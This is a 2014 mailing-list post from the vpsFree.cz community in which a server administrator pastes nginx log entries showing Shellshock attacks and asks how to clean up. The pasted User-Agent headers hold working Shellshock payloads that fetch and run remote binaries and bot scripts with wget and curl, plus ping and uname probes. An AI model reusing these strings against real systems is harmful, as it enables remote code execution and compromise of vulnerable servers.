[vpsFree.cz: community-list] {Disarmed} Re: Útoky na bash běží

Ja mam v logoch nasledovne root@yuna /home/rene # grep '() {' /var/log/nginx/* /var/log/nginx/access.log:70.42.149.67 - - [28/Sep/2014:08:18:37 +0200] "GET /test HTTP/1.0" 200 193 "-" "() { :;}; /bin/bash -c \x22wget -O /var/tmp/ec.z 74.201.85.69/ec.z;chmod +x /var/tmp/ec.z;/var/tmp/ec.z;rm -rf /var/tmp/ec.z*\x22" /var/log/nginx/access.log:70.42.149.67 - - [28/Sep/2014:08:18:37 +0200] "GET / HTTP/1.0" 200 193 "-" "() { :;}; /bin/bash -c \x22wget -O /var/tmp/ec.z 74.201.85.69/ec.z;chmod +x /var/tmp/ec.z;/var/tmp/ec.z;rm -rf /var/tmp/ec.z*\x22" /var/log/nginx/access.log:70.42.149.67 - - [28/Sep/2014:08:18:37 +0200] "GET /cgi-bin/test.sh HTTP/1.0" 200 193 "-" "() { :;}; /bin/bash -c \x22wget -O /var/tmp/ec.z 74.201.85.69/ec.z;chmod +x /var/tmp/ec.z;/var/tmp/ec.z;rm -rf /var/tmp/ec.z*\x22" /var/log/nginx/access.log.1:209.126.230.72 - - [25/Sep/2014:07:26:09 +0200] "GET / HTTP/1.0" 200 193 "() { :; }; ping -c 11 209.126.230.74" "shellshock-scan ( http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)&qu… /var/log/nginx/access.log.1:89.207.135.125 - - [25/Sep/2014:11:26:32 +0200] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 200 193 "-" "() { :;}; /bin/ping -c 1 198.101.206.138" /var/log/nginx/access.log.1:54.251.83.67 - - [27/Sep/2014:21:35:34 +0200] "GET / HTTP/1.1" 200 193 "-" "() { :;}; /bin/bash -c \x22echo testing9123123\x22; /bin/uname -a" /var/log/nginx/access.log.1:137.189.52.234 - - [27/Sep/2014:23:18:23 +0200] "GET /cgi-bin/test-cgi HTTP/1.0" 200 193 "-" "() { :;}; /bin/bash -c \x22wget http://stablehost.us/bots/regular.bot -O /tmp/sh;curl -o /tmp/sh http://stablehost.us/bots/regular.bot;sh /tmp/sh;rm -rf /tmp/sh\x22" vyzera to trochu zle :-/ ... co odporucate s tym robit? killnut len podozrive procesy? a pohladat nejake stopy po tom, ci sa nezapinaju po restarte? 2014-09-29 10:10 GMT+02:00 Michal Miklos <mimik(a)mimik.sk>sk>: